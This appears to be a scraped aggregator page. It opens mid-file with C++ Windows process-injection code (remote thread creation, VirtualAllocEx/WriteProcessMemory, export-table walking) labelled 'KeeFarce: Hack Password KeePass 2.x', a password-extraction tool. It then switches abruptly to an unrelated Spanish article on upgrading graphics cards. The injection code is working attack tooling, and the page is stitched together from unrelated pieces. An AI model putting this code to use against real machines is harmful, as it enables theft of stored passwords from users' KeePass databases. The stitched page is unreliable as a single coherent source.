        EnsureCloseHandle FreeThread = CreateRemoteThread(Proc, NULL, NULL,
                (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "FreeLibrary"),
                (LPVOID)hLibModule, NULL, NULL);
        WaitForSingleObject(FreeThread, INFINITE);

        return true;
}

DWORD CallExport(DWORD ProcId, const std::string& ModuleName, const std::string& ExportName, const wchar_t * ExportArgument)
{
        using namespace Hades;
        using namespace std;

        // Grab a new Snapshot of the process
        EnsureCloseHandle Snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcId));
        if (Snapshot == INVALID_HANDLE_VALUE)
        {
                cout << "CallExport: Could not get module Snapshot for remote process." << endl;
                return -1;
        }

        // Get the HMODULE of the desired library
        MODULEENTRY32W ModEntry = { sizeof(ModEntry) };
        bool Found = false;
        BOOL bMoreMods = Module32FirstW(Snapshot, &ModEntry);
        for (; bMoreMods; bMoreMods = Module32NextW(Snapshot, &ModEntry))
        {
                wstring ExePath(ModEntry.szExePath);
                wstring ModuleTmp(ModuleName.begin(), ModuleName.end());
                // For debug
                //wcout << ExePath << endl;
                Found = (ExePath == ModuleTmp);
                if (Found)
                        break;
        }
        if (!Found)
        {
                cout << "CallExport: Cound not find module in remote process." << endl;
                return -1;
        }

        // Get module base address
        PBYTE ModuleBase = ModEntry.modBaseAddr;

        // Get a handle for the target process
        EnsureCloseHandle TargetProcess(OpenProcess(
                PROCESS_QUERY_INFORMATION |
                PROCESS_CREATE_THREAD |
                PROCESS_VM_OPERATION |
                PROCESS_VM_READ,
                FALSE, ProcId));
        if (!TargetProcess)
        {
                cout << "CallExport: Could not get handle to process." << endl;
                return -1;
        }

        // Load module as data so we can read the export address table (EAT) locally.
        EnsureFreeLibrary MyModule(LoadLibraryExA(ModuleName.c_str(), NULL,
                DONT_RESOLVE_DLL_REFERENCES));

        // Get module pointer
        PVOID Module = static_cast<PVOID>(MyModule);

        // Get pointer to DOS header
        PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(
                static_cast<HMODULE>(Module));
        if (!pDosHeader || pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        {
                cout << "CallExport: DOS PE header is invalid." << endl;
                return -1;
        }

        // Get pointer to NT header
        PIMAGE_NT_HEADERS pNtHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(
                reinterpret_cast<PCHAR>(Module) + pDosHeader->e_lfanew);
        if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
        {
                cout << "CallExport: NT PE header is invalid." << endl;
                return -1;
        }

        // Get pointer to image export directory
        PVOID pExportDirTemp = reinterpret_cast<PBYTE>(Module) +
                pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
                VirtualAddress;
        PIMAGE_EXPORT_DIRECTORY pExportDir =
                reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(pExportDirTemp);

        // Symbol names could be missing entirely
        if (pExportDir->AddressOfNames == NULL)
        {
                cout << "CallExport: Symbol names missing entirely." << endl;
                return -1;
        }

        // Get pointer to export names table, ordinal table, and address table
        PDWORD pNamesRvas = reinterpret_cast<PDWORD>(
                reinterpret_cast<PBYTE>(Module) + pExportDir->AddressOfNames);
        PWORD pNameOrdinals = reinterpret_cast<PWORD>(
                reinterpret_cast<PBYTE>(Module) + pExportDir->AddressOfNameOrdinals);
        PDWORD pFunctionAddresses = reinterpret_cast<PDWORD>(
                reinterpret_cast<PBYTE>(Module) + pExportDir->AddressOfFunctions);

        // Variable to hold the export address
        FARPROC pExportAddr = 0;

        // Walk the array of this module's function names
        for (DWORD n = 0; n < pExportDir->NumberOfNames; n++)
        {
                // Get the function name
                PSTR CurrentName = reinterpret_cast<PSTR>(
                        reinterpret_cast<PBYTE>(Module) + pNamesRvas[n]);

                // If not the specified function, try the next one
                if (ExportName != CurrentName) continue;

                // We found the specified function
                // Get this function's Ordinal value
                WORD Ordinal = pNameOrdinals[n];

                // Get the address of this function's address
                pExportAddr = reinterpret_cast<FARPROC>(reinterpret_cast<PBYTE>(Module)
                        + pFunctionAddresses[Ordinal]);

                // We got the func. Break out.
                break;
        }

        // Nothing found, throw exception
        if (!pExportAddr)
        {
                cout << "CallExport: Could not find " << ExportName << "." << endl;
                return -1;
        }

        // Convert local address to remote address
        PTHREAD_START_ROUTINE pfnThreadRtn =
                reinterpret_cast<PTHREAD_START_ROUTINE>((reinterpret_cast<DWORD_PTR>(
                        pExportAddr) - reinterpret_cast<DWORD_PTR>(Module)) +
                        reinterpret_cast<DWORD_PTR>(ModuleBase));

        // Open the process so we can create the remote string
        EnsureCloseHandle Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcId);

        // Copy the string argument over to the remote process
        size_t StrNumBytes = wcslen(ExportArgument) * sizeof(wchar_t);
        LPVOID RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, StrNumBytes,
                MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
        if (RemoteString == NULL) {
                cout << "VirtualAllocEx Failed" << endl;
                return -1;
        }
        WriteProcessMemory(Proc, RemoteString, ExportArgument, StrNumBytes, NULL);

        // Create a remote thread that calls the desired export
        EnsureCloseHandle Thread = CreateRemoteThread(TargetProcess, NULL, NULL,
                (LPTHREAD_START_ROUTINE)pfnThreadRtn, RemoteString, NULL, NULL);
        if (!Thread)
        {
                cout << "CallExport: Could not create thread in remote process." << endl;
                return -1;
        }

        // Wait for the remote thread to terminate
        WaitForSingleObject(Thread, INFINITE);

        // Get thread exit code
        DWORD ExitCode = 0;
        if (!GetExitCodeThread(Thread, &ExitCode))
        {
                cout << "CallExport: Could not get thread exit code." << endl;
                return -1;
        }

        // Return thread exit code
        cout << "CallExport: returning." << endl;
        return ExitCode;
}




uploaded.net - [code] KeeFarce: Hack Password KeePass 2.x

Consejos clave para actualizar tu tarjeta gráfica

$
0
0
A la hora de dar una segunda vida a un PC muchos usuarios optan por actualizar su tarjeta gráfica, un movimiento que puede parecer sencillo y que ciertamente es recomendable si nos vamos a centrar sobre todo en jugar, pero que esconde varias cuestiones esenciales que debemos tener en cuenta para no equivocarnos.
.
No, no basta con pensar en montar la tarjeta gráfica más potente que nos permita nuestro presupuesto, ya que si nuestro equipo tiene limitaciones importantes es posible que no lleguemos a aprovecharla o que incluso acabemos por estropearla, así que debemos tener mucho cuidado.
.
Sé que más de uno de nuestros lectores habrá intuido algunas de las limitaciones y claves que vamos a exponer, pero estoy seguro de que esta guía os será igualmente de ayuda, incluso para nuestros seguidores más avanzados.
.
Sin más nos ponemos manos a la obra y como siempre os invito a dejar vuestras opiniones y dudas en los comentarios.

Presupuesto, ¿ gráfica nueva o de segunda mano ?

Lo primero que debemos tener en cuenta es obviamente nuestro presupuesto, ya que en función del mismo nos puede compensar más buscar una solución gráfica nueva o de segunda mano.

En este sentido es importante tener claro que cuando hablamos de segunda mano no nos estamos refiriendo únicamente a la compraventa entre particulares, ya que hay minoristas como Amazon que da la opción de conseguir productos restaurados a precios muy buenos y con garantía.

Obviamente no todas las ofertas son atractivas, pero en ocasiones es posible encontrar algunas muy recomendables, como por ejemplo una que os dejamos recientemente en un Red Friday que permitía comprar una R9 270X por unos 111 euros, un verdadero chollo.

Con esto os queremos decir que no debéis cegaros necesariamente en ir a por una tarjeta gráfica nueva, sobre todo si tenéis un presupuesto reducido, ya que es posible que buscando a fondo encontréis soluciones restauradas, totalmente fiables y con una relación calidad-precio muy superior.
.
Fuente de alimentación que tenemos

Es vital, ya que de ello depende el buen funcionamiento de nuestra nueva tarjeta gráfica. Si tenemos una fuente de baja potencia, inferior a los 400W, y encima es genérica, debemos tener claro que por mucho presupuesto que tengamos no podremos montar una tarjeta gráfica de gama alta, ya que la fuente no será capaz de suministrar suficiente potencia.

Si aún así nos la jugamos y montamos una tarjeta gráfica en una fuente de baja calidad y menor potencia a la mínima recomendada corremos el riesgo de estropear la tarjeta y de acabar dañando además otros componentes de nuestro equipo, con todo lo que ello supone.

Por otro lado incluso en el mejor de los casos si la fuente aguanta sin estropear ningún componente quedamos expuestos a otros problemas, como por ejemplo que la falta de potencia se deje notar en picos de consumo bajo altas cargas gráficas y se produzcan bloqueos, parones o pérdidas de rendimiento realmente molestas.

Con esto en mente podemos concluir que para fuentes de baja calidad y potencia reducida soluciones como las GTX 750 son la opción más recomendable, mientras que si tenemos fuentes de calidad y potencia superior a los 500W ya podemos optar por soluciones de gama media alta como las GTX 970, por ejemplo.

En el caso de AMD la cosa cambia ligeramente, ya que generalmente sus soluciones gráficas tiene consumos algo más elevados, así que tenedlo en cuenta y aseguraos de que cumplís siempre con el mínimo recomendado por el fabricante, aunque si vuestra fuente es genérica es totalmente recomendable que su potencia sea superior a dicho mínimo.

Tamaño de la caja donde va a ir instalada

No es la primera vez que me encuentro con usuarios que compran emocionados una tarjeta gráfica potente y luego no les cabe en su equipo, algo que suele ser muy habitual en soluciones gráficas de gama alta.

Ten en cuenta el espacio que tienes en tu caja, y también la ventilación de la misma, ya que por lo general en aquellas de menor tamaño todo suele estar bastante comprimido y el flujo de aire puede llegar a ser un problema si utilizamos tarjetas gráficas de alto rendimiento que generen también mucho calor.

En este sentido si por ejemplo nuestra fuente es pequeña o no estamos seguros de su capacidad interior lo mejor es ir sobre seguro y comprar versiones ITX, un formato que actualmente resulta muy sencillo de encontrar y que no se limita a soluciones gráficas de gama baja.

Por otro lado tampoco suelen implicar un aumento de precio ni una pérdida de rendimiento, así que tenedlo presente a la hora de actualizar.
.
Procesador que tenemos en nuestro PC

Un punto muy importante, ya que nuestra CPU puede llegar a causar un cuello de botella considerable si la misma no tiene la potencia suficiente como para mover la nueva tarjeta gráfica que hemos comprado.

Este punto daría para hacer un artículo independiente bastante extenso, así que no nos explayaremos demasiado ni caeremos en complicaciones que nos obliguen a profundizar demasiado, pero sí que os dejaremos los puntos más importante.

Lo primero que debemos tener claro es qué es un cuello de botella. Dicho de la forma más sencilla posible cuando usamos ese concepto para referirnos a la CPU estamos diciendo que el procesador no es capaz de seguir el ritmo de la GPU, lo que implica que la misma no pueda rendir al 100%.

Un cuello de botella de este tipo se ve fácilmente con herramientas que permiten visualizar el consumo de recursos que de una aplicación o juego, pero también en comparativas de rendimiento de mayor complejidad.

Así, si vemos que el consumo de nuestro procesador llega al 100% pero el de nuestra GPU queda por ejemplo en un 50% tendremos un cuello de botella claro.

¿ Qué pautas debo seguir entonces ? Si tienes un Core 2 Duo o un Athlon 64 X2 no podrás aprovechar adecuadamente más allá de una tarjeta gráfica de gama baja-media, tipo GTX 750 o Radeon HD 7790, por ejemplo.

Por contra los Core 2 Quad o Phenom II X4 a 3 GHz o más casan bien con gráficas de gama media tipo Radeon R9 270X o GTX 660, mientras que los procesadores más actuales, tipo Core i5 serie 2000-FX serie 8300 o superiores no tienen problemas con gráficas de gama alta.

Obviamente esta exposición es muy general para evitar caer en complicaciones que eleven la extensión del artículo, pero estoy seguro que os sirve de referente para tener claro por dónde debéis moveros.

Finalmente un apunte, y es que si tenéis pensado actualizar también el procesador a corto plazo no os debe importar comprar una tarjeta gráfica que no sea acorde a vuestro procesador actual, ya que el cuello de botella será temporal y acabará una vez que actualicéis al nuevo procesador.

Sistema operativo y soporte de DirectX

A veces lo pasamos por alto pero es importante, de hecho más de lo que pueda parecer. Si tenemos todavía un equipo basado en Windows XP debemos tener presente que no podremos aprovechar las ventajas de una tarjeta gráfica compatible con DirectX 10 o superior.

Esto supondría hoy por hoy una limitación muy grande, ya que los juegos actuales sólo son compatibles en su inmensa mayoría con DirectX 11, lo que implica que no podremos disfrutar de ellos si nuestro equipo no soporta dicha API gráfica.

Lo dicho se extiende también al grado de soporte de DirectX de la tarjeta gráfica que vayamos a comprar, muy importante si recurrimos al mercado de segunda mano y a soluciones antiguas, ya que las series Radeon HD 4000 e inferiores y GTX 200 e inferiores sólo llegan a DirectX 10.

Resolución y aspiraciones de calidad gráfica

Muy importante si no queremos llevarnos una desilusión debido a una mala inversión. La resolución a la que queremos jugar es determinante, ya que de ella podremos derivar la gama en la que debemos centrarnos.

Si queremos jugar en resoluciones inferiores a 1080p cualquier solución tipo GTX 750 o Radeon HD 7790-R7 260 es suficiente y nos proporcionará una experiencia más que buena.

Por lo general 1 GB de memoria de vídeo es suficiente a estas resoluciones y más de 2 GB de VRAM es innecesario.

Por contra si vamos a jugar a 1080p lo más recomendable son soluciones de gama media como las R9 380 o GTX 960 con 2 GB de VRAM. En algunos juegos tener más de 2 GB de VRAM pueden ayudar a mejorar el rendimiento, pero sólo en casos muy puntuales.

Finalmente para jugar a 1440p o superiores debemos apostar como mínimo por soluciones como las R9 290-R9 390 o GTX 970. En estos casos los 4 GB de VRAM sí se dejan notar y marcan diferencias claras y evidentes.

Antes de terminar un apunte, y es que en cualquier caso debéis priorizar la velocidad de la memoria gráfica de la tarjeta gráfica antes que su cantidad, algo especialmente importante en las gamas bajas-medias, buscando siempre que la misma sea GDDR5 y no DDR3.

Posibilidad de hacer SLI o CrossFire

Es el último apartado y su importancia es menor, pero igualmente es interesante tenerlo en cuenta ya que hay tarjetas gráficas de gama media que escalan realmente bien en configuraciones multiGPU.

Si tenéis pensado ampliar en el futuro añadiendo una segunda tarjeta gráfica debéis aseguraros de comprar una que soporte dicha característica, ya que de lo contrario os veréis limitados a vender la que tenéis y comprar otra nueva.

Por lo general la mayoría de soluciones gráficas de gama baja-media y media soportan estos modos, así que no es nada especialmente complicado, aunque es conveniente que antes de nada tengáis claro si os va a compensar en términos de escalado y consumo.

Notas finales


Creo que la mejor forma de terminar este artículo es poner ejemplos prácticos de actualizaciones recomendadas para tres tipos de equipos modelo, siguiendo las pautas que hemos expuesto en el mismo.
  • Core 2 Duo 8400 a 3 GHz, fuente de 400W genérica, monitor 900p: recomendada GTX 750.
  • Phenom II X4 a 3,6 GHz, fuente de 550W 80 Plus Bronze, monitor 1080p: recomendada R9 380-GTX 960.
  • Core i5 3670K a 4 GHz, fuente de 650W 80 Plus Silver, monitor 2K: recomendada R9 290.
Fuente:
Isidro Ros
muycomputer.com
Viewing all 11602 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>